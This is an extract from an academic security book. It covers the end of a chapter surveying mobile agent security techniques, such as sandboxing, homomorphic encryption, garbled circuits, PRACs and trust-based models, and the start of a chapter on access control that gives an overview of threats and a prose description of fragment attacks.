Ł. Nitschke et al. / Mobile Agent Security
configuration files – access control list files. One could specify detailed permission for a given originator, like: o read/write/delete/execute permissions to a file or a subtree of a filesystem; o connect/accept/listen permissions to host, domain, ip address, port; o permissions to read environmental variables. Java 2 introduced a new access control technology – Java Authentication and Authorization Services (JAAS). JAAS, finally, allowed Java Access Controller to grant privileges based on “who is running the code” (instead of “from whom the code is originating”). Unfortunately, all access control techniques impose a significant runtime overhead. Separately, note that Java 2 security architecture does not fully protect against denial of service attacks as an agent is able to exploit platform’s resources. This problem was solved in the Aroma Virtual Machine (AVM). AVM is a Java bytecode interpreter, which has built-in specific resource limitations mechanisms. One can specify for instance: o agent’s disk/network quota and transfer rates, o allowed CPU usage. Aroma became foundation of NOMADS mobile agent system [16], thus providing it with exactly the same amount of platform security as that available within the AVM itself. local or remote code(signed or not) access control list
Sandbox Java Virtual Machine
Valuable resources
Figure 3 Access control
•
Proof-carrying code – is claimed to be able to avoid expensive runtime checks, by performing code checking only once, before execution. In this method, code carries a proof of its good behavior. So far, this approach has not been implemented in practice and remains a purely theoretical one.
Ł. Nitschke et al. / Mobile Agent Security
111
One can also imagine that instead of attacking the platform directly, agents try to attack other agents residing in it. For example, an agent may try to disable, destroy, or subvert agents of other customers, as well as agents that are a part of the agency infrastructure itself, e.g. the negotiation host [3]. However, protection against such threats is really just another aspect of platform security, as the agency has to protect all agents executing within it from one another the same way as it protects any other resource. Therefore, problems stated in sections 2.2.3 and 2.2.4 share the same solution. Summarizing, it can be claimed that, while possibly generating substantial computational overhead, it is possible to protect agency against incoming rogue agents. The Aroma Virtual Machine and the NOMADS agent systems, while not reaching popularity of other agent platforms, have been a fully implemented and working proof-of-concept of this fact. It can be thus stated that the problem of securing the platform and agents from malicious agents can be considered solved, as the existing practical solutions are effective and any security breaches can only be caused by oversight, not fundamental flaws. Let us now address the question of mobile agent security. We will focus on three aspects of this problem: privacy of computation, integrity of computation, and privacy and integrity of data (see: section 2.2.3, above) describing practical as well as theoretical solutions.
5. Mobile Agent Security 5.1. Privacy of Computation 5.1.1. Theoretical Solutions 5.1.1.1. Function Encryption Computation of security critical function f in hostile environment may be done in an encrypted form. A natural way of encrypting a function is using composition with another invertible function g [17], [18]. Decryption is achieved by using g-1: g-1 o g o f. There exists a class of functions which can be composed and inverted efficiently, namely rational functions (quotients of two polynomials). Moreover, the problem of finding rational function f when given only the composition g o f is believed to be hard.
112
Ł. Nitschke et al. / Mobile Agent Security
f
g
g f
g f x
g
f(x)
-1
g f(x)
Agent owner
g f(x) Agent platform
Figure 4 Function encryption
Authors of [17], [18] propose special digital signature scheme for mobile agents based on the idea of function encryption - undetachable digital signatures (UDS). This type of signature mechanism consists of: • s – signing transformation, • v – verifying transformation, • r – description of the requirements for messages which can be signed using s, • f – function witch message m with requirements r (f(m) = m||r), • fsigned := s o f. UDS-enabled agent is equipped with f, fsigned which allow him to create a signature (f(m), fsigned(m)) under m. The signature is verified using v transformation as well as by confronting requirements r with m. Such scheme was presented in [19] and is based on RSA public encryption algorithm. Although agents can perform this special type of signatures, it should be noted that thus far function encryption cannot be applied, among others, to securing negotiation algorithms. 5.1.1.2. Homomorphic Rings Privacy of computation can also be realized by employing two homomorphic rings R1, R2 [17], [18]. In order to ensure security we need a homomorphism E:R1 → R2 which has the property of an encryption transformation. It means that E is hard to invert without knowledge of some secret information. E by definition should preserve ring operations (E(x + y) = E(x) + E(y), E(x * y) = E(x) * E(y)), which would imply that all calculations in R2 can be done on encrypted data. In practice it is hard to find such operation-preserving E. Therefore, we take an encryption function E, such that there exist efficient programs: • •
PLUS – takes E(x), E(y) and outputs E(x+y), MULT – takes E(x), E(y) and outputs E(x*y).
Ł. Nitschke et al. / Mobile Agent Security
113
Having these two basic operations we can securely compute every program P, which involves computing some polynomial Σai1...isX1i1…Xsis. 1. 2.
3.
Agent owner: a) encrypts all input parameters: E(x1), E(x2),…, E(xn), b) sends the parameters along with: P, PLUS, MULT to the agent platform. Agent platform: a) encrypts all coefficients ai1..is in P, b) substitutes every +, * operation in P with PLUS, MULT calls respectively, c) executes P on encrypted parameters, d) sends the result to the agent owner, Agent owner: a) decrypts P(x1,x2,…xn).
It was shown that the procedure MULT may be replaced by MIX-MULT, but it requires a slightly different scheme than the one mentioned above. MIX-MULT calculates E(x * y) based on E(x), y. The following may serve as an example such system: • E: Zp-1 → Zp, E(x) = gx mod p, g is a generator of Zp; p-1 has small prime factors so that E(x) is can be inverted by somebody knowing g; • PLUS(E(x),E(y)) =E(x),E(y); • MIX-MULT(E(x),y)=E(x)y. An inherent disadvantage of this method is that it can only be applied to computing polynomials, while many practical security functions do not belong to this group. As a result, the contemporary knowledge on homomorphic rings does not solve the problem of providing privacy of computation. 5.1.1.3. Boolean Circuits Every efficiently computable function on any number of input parameters f(x1, x2, …,xn) can be represented as a Boolean circuit. There exist protocols that enable evaluation of such circuits in a distributed way, while keeping every participant unaware of all the inputs except for the ones belonging to him [20], [21]. The result may be either shared by all participants or every party may obtain only part of output. The heart of all such protocols is a concept of garbled circuits introduced by Yao [22]. The following diagram shows a sketch of a garbled circuit idea in a two-parameter case [23].
114
Ł. Nitschke et al. / Mobile Agent Security
Input 1 cleartext
Input 2 cleartext
Input 1 translation table
Input 2 translation table
Garbled circuit
Output 1 translation table
Output 1 translation table
Input 1 cleartext
Input 1 cleartext
Figure 5 Garbled circuit evaluation
Let GC be a garbled circuit C. Distributed evaluation of such encrypted circuit C(x,y) requires the following steps: 1. A creates and sends the garbled circuit C: a) Encrypts C by assigning to signals {0,1} on every wire wi in C a couple of unique keys ki 0, ki1. Boolean functions performed by gates in C are substituted by a garbled computation table which maps input wires’ keys to output wires’ key(s). b) Creates Input 1,2 translation tables as the mapping of circuit input wires to corresponding keys chosen in a. c) Creates Output 1,2 translation tables as the mapping of circuit output wires to corresponding keys chosen in a. d) Sends 1. keys representing bits of A’s input x1, 2. Input 2 translation table, 3. garbled computation table, 4. Output 2 translation table. 5. B computes garbled circuit and obtains y2:
Ł. Nitschke et al. / Mobile Agent Security
115
e) f)
Translates x2 bits to respective keys. Executes garbled circuit using: garbled computation table, A’s input keys, and his input keys. g) Translates his output bits to output 2 (y2). h) Sends A’s garbled circuit output. 6.
A: i)
Translates output keys to y1.
It is worth noting that garbled circuit masks actual signals on internal wires (has a black box property) and in consequence does not reveal any information about the input x1. We can say that garbled circuit executed by B has x1 hardwired. Author of [24] attempts to apply the garbled circuit technique to mobile agents – as a safe way of evaluating security sensitive functions. Nonetheless, it has to be stressed that in [24] it was assumed that garbled circuits have to be created manually, so the crucial problem of creating automated garbled circuit compilers is not solved. Obviously, if garbled circuits cannot be created automatically then their usage in real-life situations will never materialize. Another issue is an obvious inefficiency of computing software as compared to hardware Boolean circuits. 5.1.2. Practical Solutions – Code Obfuscation The most popular programming language for mobile agents is Java. Java source code is compiled into an intermediate code – bytecode. Bytecode is OS/machine independent, which gives it enormous portability and explains Java’s popularity. However, bytecode can be easily decompiled and reverse engineered, unless code obfuscators are used. These tools scramble the bytecode making it difficult to analyze by employing the following techniques [25], [26]: • layout obfuscation: o renaming identifiers (methods, variables, constants, types lose their original names), o removing debug information (code execution cannot be inspected in debug mode); • control obfuscation: o altering execution flow by adding artificial branches, using conditional statements, o separating operations that belong together and mixing with other operations, o inserting redundant, meaningless code, o cloning methods – preparing different versions of a single method by applying various obfuscating techniques, o replacing method calls with inline code; • data obfuscation: o splitting, merging and reordering arrays, o merging scalar variables, o converting static data to procedures,
116
Ł. Nitschke et al. / Mobile Agent Security
o converting local variables to global. A serious weakness of this method is the fact that it does not provide provable security; in fact, there is a constant “arms race” between obfuscators and disassemblers, and although it seems that so far the general-purpose disassemblers are outclassed by obfuscators, the situation may change radically as soon as specialized, deobfuscating disassemblers appear. Overall, it is clear that from an information-theoretic point of view, obfuscation does not add to security at all – its only function is to slow down the analysis of the algorithm. 5.2. Integrity of Computation – Theoretical Solutions Known attempts to provide integrity of computation are based on holographic proofs and computationally sound proofs (CS-proofs) [27]. Here the trace of the execution shows not only the results, but also how they were obtained. Essentially, the preparation of such a proof consists of translating the claim (which must be formal, and self-contained) into an error-correcting form, and translating the proof. Any proof system (an algorithm that verifies a proof) can be reduced into a so-called domino problem, which is a graph-coloring problem. After that is done, verification takes the form of statistical checking of that coloring. The checking is very fast (in fact, it is polylogarithmic – faster then reading the proof), but has the probability of error of at most 50%. By repeating the checking, the probability of error can be arbitrarily reduced. So far, these solutions remain theoretical. The main difficulty is the necessity of using formal logical systems. Even the simplest statements can become very complex when stated in a formal and self-contained way. In addition, the gain in speed over traditional proofs is only apparent when the proofs are large [28]. 5.2.1. Privacy and Integrity of Data – Practical Solutions An elegant solution which provides privacy and integrity of data was presented in [27] in the form of PRACs (Partial Results Authentication Codes). Every agent before leaving its home platform is supplied with a vector of keys. Every single key is used to create a MAC of the information gathered or computed on a certain server, and optionally to encrypt the data. The key is forgotten afterwards, preventing subsequent servers on the agent’s path from tampering with gathered information. PRACs are used to preserve the integrity of dynamic data. Static, unchangeable data (i.e. agent’s identity or itinerary), may be simply protected by a digital signature of the agent’s owner. An attacker intending to change the agent’s path without changing its identity would have to break the digital signature scheme. These two ideas of securing static and dynamic data were successfully implemented in Semoa agent platform [29]. Another, similar solution is giving the agent a public key, while the owner retains the private key. The agent may encrypt the information it collects with this public key, so that it can not decrypt it later. This ensures that nobody is able to cheat the agent, and pretend to be the home platform or the agent’s owner. Unfortunately, public key cryptography is not as efficient as PRACs.
Ł. Nitschke et al. / Mobile Agent Security
Home platform
117
Platform P1
Agent k1, k2, k3
Agent k2, k3
Platform P3
Platform P2
Agent
Agent k3
O1,MAC k1(O1) O2,MAC k2(O2)
O1,MAC k1(O1)
O1,MAC k1(O1) O2,MAC k2(O2)
O3,MAC k3(O3)
Figure 6 PRAC codes
Overall, it can be assumed that privacy and integrity of data can be assured using cryptographic techniques.
6. Trust-based Models Let us now look from a completely different angle at the issue of agent system security. Let us start form a simple observation that some problems of agent security could become easier to solve if we make some reasonable assumptions about whom to trust, and to what extent, instead of being “uniformly paranoid” (see also [30]). This approach tries to address, among others, above mentioned questions of “lying agents” that try to gain advantage not by direct attack, but by pretending to be legitimate while trying to disrupt the system by various forms of malicious disruptive behavior (e.g. agents that in certain forms of auctions cause the final price to be higher then the true valuation of the product [31]). 6.1. Hardware-based Solutions The most far-reaching assumption would be to trust the agent platform. However, even if the company maintaining the agent platform is trustworthy, the software may be compromised by an outside adversary. A partial solution to this danger is the use of Hardware Security Modules (HSMs) [32]. A platform can have a secure hardware device that cannot be tampered with, has a very restricted set of inputs and outputs, and is capable of performing cryptographic operations. Such a device can then be involved in interactions between the agent and the agency, ensuring for instance that they are performed only once. HSMs also typically include secure clocks (so that e.g. transaction time can be recorded
118
Ł. Nitschke et al. / Mobile Agent Security
accurately), hardware-based random number generators, and tamperproof key storage space. They also offer very high cryptographic performance – up to two orders of magnitude faster than software solutions. Unfortunately, HSMs are expensive (thousands of dollars each), and their use implies trust in the maker of that HSM (which comes back to the old riddle: who controls the controller? – who will assure that creators of such modules can be trusted and did not leave secret backdoors in their modules, e.g. known to the government agencies). A much cheaper solution that is gaining popularity is Trusted Platform Module (TPM) – a chip that can be included on a standard PC motherboard, and shares some similarities with HSMs. However, for agent platforms, the most useful new ability is attestation of the platform. [33] As soon as the computer boots, the TPM chip starts gathering platform metrics, storing those metrics in the log, creating hashes of those metrics and storing the hashes in the Platform Configuration Registers (PCRs). The PCRs can then be signed using the TPMs Attestation Identity Key (AIK) at some point. This certifies that the computer is running certain software, so that the remote user (or agent) can be sure that this is indeed the case, and that the software has not been maliciously modified, since the Platform Configuration Registers can not be arbitrarily set; they can only be reset or extended. The agent can be constructed in such a way, that its secrets are “sealed” – only revealed on a platform meeting certain requirements. While TPM does not completely solve the platform trust problem, it could make cheating on part of the platform owner more difficult, and encourage trust in agent platforms. 6.2. Cooperating agents In most cases it makes sense to limit trust to platforms, no matter what assurances they offer. There are a few interesting attempts to address the platform trust problems by making the agents cooperate. This approach makes an assumption that not all servers are malicious and not all of the corrupted ones want to collaborate with one another. It seems reasonable in e.g. a network of competing companies. Therefore, it is vital that the cooperating agents are scattered among the system nodes rather than located on the same server. Roth in [34] proposes a scenario, in which agents work in pairs – let us call them agent A and B. A visits a set of hosts H, while his partner moves to a server which belongs to a rival of H. A walks the predefined path and passes the offers to B. Once A has collected all the information they can choose the best offer; moreover, they can pay for it using e-money shared by them using a secret sharing scheme – B can send his part of the e-coin. Authors of [35] show that we can attempt to build self-supporting communities of agents, so that every member of the community has at least two guards of its security – the Shared Security Buddy Model. Somewhat similarly, in [36] a trust-based security model for agent communities was presented. It was shown how it is possible to sustain long-term soft security – defined as a situation where isolated cases of mischief are possible, but in a longterm system will adapt its behavior and eliminate offending agents. While there exist a number of application areas where soft-security can be sufficient (e.g. within a “closed” organization, where soft security measures are supported by other inter-organizational security measures; or when security is only of limited true concern – see next paragraph), it
Ł. Nitschke et al. / Mobile Agent Security
119
is clear that this level of security is not enough in the case of e-commerce, or when dealing with any type of sensitive information management in an open system. Observe that for a cheat it is enough to score once – steal large sum of money and disappear. In this case, the fact that he would have been eliminated over time from the system is not good enough for these who lost their money, or whose sensitive information was compromised. Certain real-world situations lend themselves naturally to creation of a network of agents which, while not cooperating per se, are able to communicate, and would be more resistant to corruption. Consider, for example a network of personal assistants, which all keep track of CD’s that their owners like. In order to get a recommendation, one could have his assistant question assistants of people who liked similar CD’s. Even if a fraction of agents maliciously cheat (for example to promote a CD), the net effect would be mitigated by the honest ones. Unfortunately, since creation of agents is “cheap,” such networks are susceptible to corruption by masses of “special agents” acting in concert. Possible solutions are: accepting new members only by invitation (which defeats the purpose of open exchange of information), creating trust-networks or ensuring that a human spends time before releasing next agent, by giving out a test that only a human can pass [37]. Such tests, called CAPTCHAs, are based on unsolved problems in artificial intelligence – usually image or speech recognition. Nevertheless, they will not deter a determined adversary – they just increase the cost of introducing rogue agents. Note however, that for recommender systems (even these involved in e-commerce), the fact that someone would be convinced to buy a CD would not have “disastrous” consequences. This is precisely the type of scenario, where approaches similar to these proposed in [36] would provide an acceptable level of agent-system security.
Figure 7 Sample CAPTCHA
6.3. Undercover agents Honesty of the platforms can be verified in the same way as corruption of organizations in the real world – by undercover agents. An agent may pretend to represent a customer, and search for the best air-fare price, but it might have been prepared to contain certain data, that should never change, if the agencies are honest. If the data does change, one can be sure that at least one agency on the agent’s path has acted malevolently. It is then easy to isolate the rogue agency by using more such agents with different paths.
120
Ł. Nitschke et al. / Mobile Agent Security
6.4. Clueless agents Finally, if no platform is to be trusted, it is possible to create agents that do not know their intended purpose [38]. An example would be an agent that performs a patent search by calculating hashes of strings, and trying to match them with a stored value. The owner of the agent prepares it beforehand by calculating: N := a random nonce K := H(description of the patent idea) M := EK(action to be performed upon finding the idea) O := H(N description of the patent idea) The agent then searches through the database, hashing the strings it finds and testing if H(N tested string) = O, and if yes, the agent executes DH(tested string)(M) Therefore, if a certain string is in the database, it will be found, but one cannot derive it from the agent beforehand, so the patent idea stays safe. Likewise, it is impossible to know what the agent will try to do once the string is found. Note that this approach may give rise to new type of hard to defeat viruses and worms, which will not reveal their payload until they infect a system with a certain domain name, or a certain item appears for sale on eBay. Unfortunately, clueless agents tend not to be very efficient, and not every problem can be solved by them. In particular, as agents operate blindly, they have to search through a very large number of possible solutions before stumbling upon the correct one. In this case it is exactly the cluelessnes that precludes use of any optimization.
7. Concluding remarks In this chapter we have presented an overview of security issues involved in mobile agent systems. We have established that problems involved in agent communication and security of an agent platform can be considered as practically solved. Obviously, the same way as network communication is secure only until a more powerful hacking method is developed (which is then counteracted by a new security measure), sandboxing the platform will be effective until someone finds a hole in the virtual machine (that will later have to be patched). Nevertheless, we consider the agent platform and agent communication as relatively safe. Unfortunately, as our research shows, none of the existing methods can guarantee true agent security. Section 5 shows that only data carried and collected by mobile agents can be efficiently secured. It means that contemporary knowledge of agent protecting techniques restricts us to “window-shopping” type of mobile agents. Broad utilization of mobile software agents in realistic scenarios remains a question of future inventions. However, our research indicates also that when only soft security is required, and when response time to an existing threat is not crucial, communities of cooperating agents can eliminate bad agents from the system. We can thus say that it is possible to create weakly secure self-securing agent systems.
Ł. Nitschke et al. / Mobile Agent Security
121
References [1]
Jennings N. R. (2001) An agent-based approach for building complex software systems, Communications of the ACM, 44 (4), pp. 35-41
[2]
Maes P. (1994) Agents that Reduce Work and Information Overload. Communications of the ACM, 37, 7, pp. 31-40
[3]
Ganzha M., Paprzycki M., Pîrv nescu A., B dic C., Abraham A. (2004) JADE-based Multi-agent Ecommerce Environment: Initial Implementation, Analele Universit ii din Timi oara, Seria Matematic Informatic , Vol. XLII, 79-100
[4]
Jennings N. R., Wooldridge M. (1998) Applications Of Intelligent Agents, Springer-Verlag NY, Agent technology: foundations, applications, and markets, pp. 3-28
[5]
Jennings N. R., Wooldridge M. (1995) Intelligent Agents: Theory and Practice. The Knowledge Engineering Review, pp. 115–152
[6]
Galant V., Tyburcy J. (2001) Intelligentny Agent Programowy, Prace Naukowe AE Wrocław, Nr 891, pp. 46 – 57, in Polish.
[7]
B dic C., Ganzha M., Paprzycki M. (2005) Mobile Agents in a Multi-Agent E-Commerce System. In: Proceedings of the SYNASC 2005 Conference (to appear)
[8]
Di Martino B., Rana O.F.(2003) Grid Performance and Resource Management using Mobile Agents, in: Getov, V. et. al. (eds.) Performance Analysis and Grid Computing, Kluwer, 2003
[9]
B dic C., Ganzha M., Paprzycki M. (2005) UML Models of Agents in a Multi-Agent E-Commerce System In: Proceedings of the ICEBE 2005 Conference, IEEE Press, Los Alamitos, CA, 56-61
[10] Paprzycki M., Abraham, A. (2003) Agent Systems Today: Methodological Considerations, Proceedings of the 2003 International Conference on Management of e-Commerce and e-Government, Jangxi Science and Technology Press, Nanchang, China, pp. 416-421 [11] B dic C., B dit A., Ganzha M., Iordache A., Paprzycki M. (2005) Implementing Rule-based Mechanisms for Agent-based Price Negotiations. In: Proceedings of the ACM SAC Conference (to appear), [12] B dic C., B dit A., Ganzha M., Iordache A., Paprzycki M. (2005) Rule-Based Framework for Automated Negotiation: Initial Implementation. In: Proceedings of the RuleML Conference (to appear) [13] Menezes A., van Oorschot P., Vanstone S. (1996) Handbook of Applied Cryptography, CRC Press, CRC Press, Boca Raton, USA [14] Loureiro S., Molva R., Roudier Y. (2000) Mobile Code Security, Proceedings of ISYPAR 2000 (4ème Ecole d'Informatique des Systèmes Parallèles et Répartis), Code Mobile [15] Dageforde M. Security in Java 2 SDK 1.2 , http://java.sun.com/docs/books/tutorial/security1.2/overview/ [16] Suri N., Bradshaw J., Breedy M., Groth P., Hill G., Jeffers R., Mitrovich T. (2000) An Overview of the NOMADS Mobile Agent System, in Proceedings of ECOOP 2000 [17] Sander T., Tschudin C. (1997) Towards Mobile Cryptography, International Computer Science Institute technical report 97-049
122
Ł. Nitschke et al. / Mobile Agent Security
[18] Sander T., Tschudin C. (1998) Protecting Mobile Agents Against Malicious Hosts. Lecture Notes in Computer Science 1419, pp. 44 [19] Burmester M., Chrissikopoulos V., Kotzanikolaou P. (2000) Secure Transactions with Mobile Agents in Hostile Environments, Proceedings of the 5th Australasian Conference on Information Security and Privacy table of contents, pp: 289 - 297 [20] Tate S., Xu K. (2003) On Garbled Circuits and Constant Round Secure Function Evaluation, Computer Privacy and Security Lab, Department of Computer Science, University of North Texas, Technical Report 2003-02 [21] Beaver D., Micali S., Rogaway P. (1990) The round complexity of secure protocols, Proceedings of the twenty-second annual ACM symposium on Theory of computing, pp. 503-513 [22] Yao A. (1986) How to Generate and Exchange Secrets, In 27th FOCS, pp. 162-167 [23] Lindell Y., Pinkasy B. (2004) A Proof of Yao's Protocol for Secure Two-Party Computation, Electronic Colloquium on Computational Complexity, Report No. 63 [24] Lien H. (2002) System Design and Evaluation of Secure Mobile-Agent Computation with Threshold Trust, http://zoo.cs.yale.edu/classes/cs490/02-03a/lien.henry/ [25] Hongying L. (2001) A comparative survey of Java obfuscators available on the internet, http://www.cs.auckland.ac.nz/~cthombor/Students/hlai/ [26] Collberg Ch., Low D., Thomborson C. (1997) A Taxonomy of Obfuscating Transformations, http://www.cs.arizona.edu/~collberg/Research/Publications/CollbergThomborsonLow97a/ [27] Levin L. (1999) Holographic Proofs, http://www.cs.bu.edu/fac/lnd/expo/holo.html [28] Roth V. (2002) Empowering mobile software agents, Proceedings of 6th IEEE Mobile Agents Conference, Suri N, ed., Lecture Notes in Computer Science, vol. 2535 pp. 47–63 [29] Yee, B. (1997) A sanctuary for mobile agents. Technical Report CS97-537, Department of Computer Science and Engineering, UC San Diego, [30] The Trusted Computing Group (2004) TCG https://www.trustedcomputinggroup.org/groups/infrastructure/
Specification
Architecture
Overview,
[31] Garg, N., Grosu, D., Chaudhary V. (2005) An antisocial strategy for scheduling mechanisms, Proceedings of the 19th IEEE International Parallel and Distributed Processing Symposium. [32] Hardware Security Modules, history: http://www.eracom-tech.com/pioneering.0.html#1526 [33] Bajikar, S., Trusted Platform Module Whitepaper, Intel Corporation, Mobile Systems Group, June 2002, http://developer.intel.com/design/mobile/platform/downloads/Trusted_Platform_Module_White_Paper.pdf [34] Roth V. (1999) Mutual protection of co-operating agents, Vitek J., Jensen C. eds., Secure Internet programming: security issues for mobile and distributed objects, Lecture Notes In Computer Science vol. 1603, pp. 275-285 [35] Page, J., Zaslavsky, A., Indrawan, M. (2004) A Buddy Model of Security for Mobile Agent Communities Operating in Pervasive Scenarios, Proceedings of Second Australasian Information Security Workshop (AISW2004), pp. 17-25.
Ł. Nitschke et al. / Mobile Agent Security
123
[36] Hexmoor H., Bhattaram S., Wilson S. (2004) Trust-based Security Protocols, SKM 2004 Workshop, SUNY Buffalo, September 2004 [37] von Ahn L., Blum M., Hopper N., Langford J. (2003) CAPTCHA: Using Hard AI Problems for Security, Advances in Cryptology, Eurocrypt 2003 [38] Riordan J., Schneier B. (1998) Environmental Key Generation towards Clueless Agents, Mobile Agents and Security, G. Vigna, ed., Springer-Verlag, pp. 15-24.
This page intentionally left blank
IV. Applications
This page intentionally left blank
Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.
127
Using basic Security Techniques and specifications for Confidential Resources Protection in Web-based Distributed Systems Mostafa EZZIYYANI (1), Mustapha BENNOUNA (1), Mohamed ESSAAIDI (2), Mohamed HLIMI (1) , Loubna Cherrat (2) (1) S.P.I, Abdelmalek Essaadi University, Faculty of Sciences and Techniques, Morocco (2) L.S.I.T, Abdelmalek Essaadi University, Faculty of Science, Tetuan, Morocco
Abstract. Today’s information systems need reliable, flexible and secure methods to provide public and confidential information to different groups of people: partners, customers, suppliers, and employees. There are a number of available remote access techniques, and a range of cutting-edge products allowing dialup, VPNs, Web, Citrix, and wireless access. However, information systems are facing significant challenges to integrate multiple cutting-edge products and providing a manageable framework for efficient access control software. Since many kind of people need an easy access to business-critical information, the challenge is to make sure that only the right people have access to the right information. This chapter presents various methods and techniques for controlling users’ access to information system resources. Different approaches helping to ensure that only authorized users can access secured resources are discussed. This chapter also covers the basics of access control, general methods and techniques used to manage access to resources, some common attacks that are launched against access control systems and the generalization of the basic Security Techniques specification for confidential resources protection in Web based distributed systems. This chapter is organized as follows: Section I gives an overview of information system security, the different attack techniques and the access control methodologies that facilitate the creation and deployment of security basic methods. In section II we identify the security risks and problems and information systems threats. The external binding attacks and platform security problems are identified in section III. Section IV, discusses several access control techniques allowing protecting information systems and presents some intrusion detection systems. In Section V, distributed systems security problems are discussed and the solutions proposed in Sections VI and VII are applied to solve them. Finally, Section VIII gives some concluding remarks.
Keywords. Information System, risks, attacks, access control methodologies
128
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
Introduction In an increasingly information technology dependent world where technology and services are rapidly evolving and deeply revolutionizing, many aspects of our daily lives, more and more companies and businesses open their information systems to different kinds of users. It is thus essential to know the entrepreneurial resources to be protected and to control the access and the rights of the users to information systems. This becomes more indispensable when such information systems are accessible through the Internet.
1. What is the information system security? The objective of an information system security process is to protect an organization's information by reducing the risks of loss of confidentiality, integrity and availability of that information to an acceptable level. A good information security program involves two major elements, risk analysis and risk management. In the risk analysis phase, an inventory of all information systems is carried out. The value of each system to its organization is established and the risk degree to which this organisation is exposed is determined. Risk management, on the other hand, involves selecting the controls and security measures that reduce the organization's exposure to risk to an acceptable level. To be effective, efficient and reflect common sense, risk management must be done within a security framework where information security measures are complemented by computer, administrative, personnel and physical security measures (see Figure 1.). Risk management becomes a senior management issue. A balance has to be reached between the organization information on the one hand and the cost of the personnel, administrative and technological security measures on the other hand. The security measures put in place need to be less expensive than the potential damage caused by the loss of confidentiality, integrity and availability of information [1-2-3-4]. Many formal risk analysis methodologies on the market require technical expertise in the area of information technology and relevant controls and availability of precise threat frequencies that may be beyond the reach of many audit offices, at least initially. The objective is to build up over time the necessary expertise and resources.
INFORMATION SYSTEMS Hardware / Software Administrative Personnel Physical Figure 1. Complementary Layers of Information Security
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
129
The information processing security systems consists, generally, in ensuring that the information system resources (i.e. hardware or software) of an organization are only used within the framework where they are expected to be. Security is nowadays a paramount requirement for a multitude of reasons: diversion, deformation and transformation of data, unauthorized access to the system, destruction.... The main objectives of the system security are:
•
Confidentiality: The assurance that information is not disclosed to unauthorized individuals, programs or processes.
•
Integrity: Information must be accurate, complete and protected from unauthorized modification.
•
Availability: Information, systems and resources need to be available to users in a timely manner so productivity will not be affected.
•
Identification: Describes a method of ensuring that a subject (i.e. user, program or process) is the entity it claims to be. Identification can be verified through the use of a credential.
•
Biometrics: Verifies an individual's identity by a unique personal attribute, which is one of the most effective and accurate methods of verifying identification.
•
Authentication: The subject is required to provide a second piece to the credential set.
•
Authorization: allowing the subject access to an object after that the object has been properly identified and authenticated.
•
Single Sign-on: Capabilities that would allow a user to enter credentials one time and be able to access all resources in primary and secondary network domains [5].
2. Risk Identification and information system threats Information system threats can come from the organization’s internal sources as they can be external. The internal actors; because of their privileged access to the organization’s information system resources; can take advantage of an information system weakness. The estimates show that the techniques of the internal attacks number are in fast increase compared to external attacks [6-7]. The main risks incurred by a system are:
•
Physical access: it is the case where the attacker access to the buildings, and possibly even to the machines:
130
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
o o o o
Electricity cut off Vandalism Access to storage units such as hard disks Listen to network traffic
•
Interception of communications: o Session hijacking o IP spoofing o Messages siversion or deterioration
•
Deny of service: these are attacks aiming at disturbing the correct operation of a service and which are based on : o TCP/IP protocols weaknesses o Server software vulnerability
•
Intrusions: o ports Sweeping o Rise of privileges: this type of attack consists in using a vulnerability of an application by sending a specific request, not expected by its designer, having as an effect an abnormal behavior leading sometimes to the access to the system with the application rights. The buffer overflow attacks use this technique. o Malicious (e.g. virus and Trojan horses).
•
Social engineering: the user himself can be a source of assistance for the pirates by giving information (password for example) or by carrying out an enclosure.
•
Backdoor: a catch door dissimulated in software, allows later access to its originator.
2.1 Risks Analysis The risks analysis stage consists in indexing the various incurred risks estimate their probabilities and finally study their impacts. The best approach to analyze the impact of a threat consists in estimating the cost of the damage that it would cause (for example attacks on a server or deterioration of vital data for a company). On this basis, it can be interesting to draw a picture of the risks and their potentiality, i.e. their occurring probability, in their spread out affecting levels according to a scale to be defined, for example: • • •
Without object (or improbable) : the threat does not take place; Weak : the threat has little chance to occur; Average : the threat is real;
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
•
131
High: the threat has great chances to occur.
3. The external information system attacks As with most crimes, cyber-crime is on the increase and shifting in focus. Generally, the emphasis has been on protecting your e-security infrastructure from internal attacks. Interestingly, the external attacks outnumbered internal threats for the first time, when the networks is an expansion and especially with the limited number of the remote protection systems [8]. One of the reasons for this trend could just be that more and more companies are reporting external hacks. Previously there was an element of secrecy around these attacks; organizations were reluctant to jeopardize client’s confidence by admitting their systems were not as secure as they should be. Another factor is that as systems become more and more complicated, with new features being added all the time, extra avenues of entry into the organization are opened up with the most frequent point of attack being the Internet connection. While external attacks may become the number one threat of the future, attacks from within the organization should not be underestimated. External breaches are often easier to defend against than internal breaches. With internal intrusions, the attacker knows where to go for the information and how best to cover his tracks. The external attacks are based on vulnerabilities directly dependent on the communication protocols or their implementation. There is a great number of such vulnerabilities. However, the majority of them are modified or extended versions of the five basic well known attacks on today's network. In this part we present the various external attacks that a hacker can use against the network machines. We will tackle this subject through principal network attacks, attacks via the applications and of the attacks of the refusal type of service [9]. 3.1. Fragments attack This attack rests on two methods: Tiny Fragments and Fragment Overlapping. It escapes detection by the IP filtering equipment systems protection. Recent firewalls take into account this type of attacks. 3.2. Tiny Fragments This attack consists of a TCP connection request split up on two IP packets; the data of first IP packet of 68 bytes (RFC 791) are made up of the first 8 TCP heading bytes (ports source and destination as well as the number of sequences). The second IP packet contains the TCP connection request (flag SYN to 1 and flag ACK to 0). Belonging to same TCP packet; these two fragments must obey the same rules of IP filtering which are determined by the first packet (Fragment Offset equal to 0) the second packet (Fragment Offset equal to 1) will pass IP filters without any other checking. In this manner, at the time of the defragmentation on IP level of the target machine; the
132
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
connection request packet is reconstituted and passes to TCP layer, connection is then established in spite of IP filter.
Figure 2. Fragment 1
Figure 3. Fragment 2
M. Ezziyyani et al. / Using Basic Security Techniques and Specifications
133
Figure 4. Defragmented packet
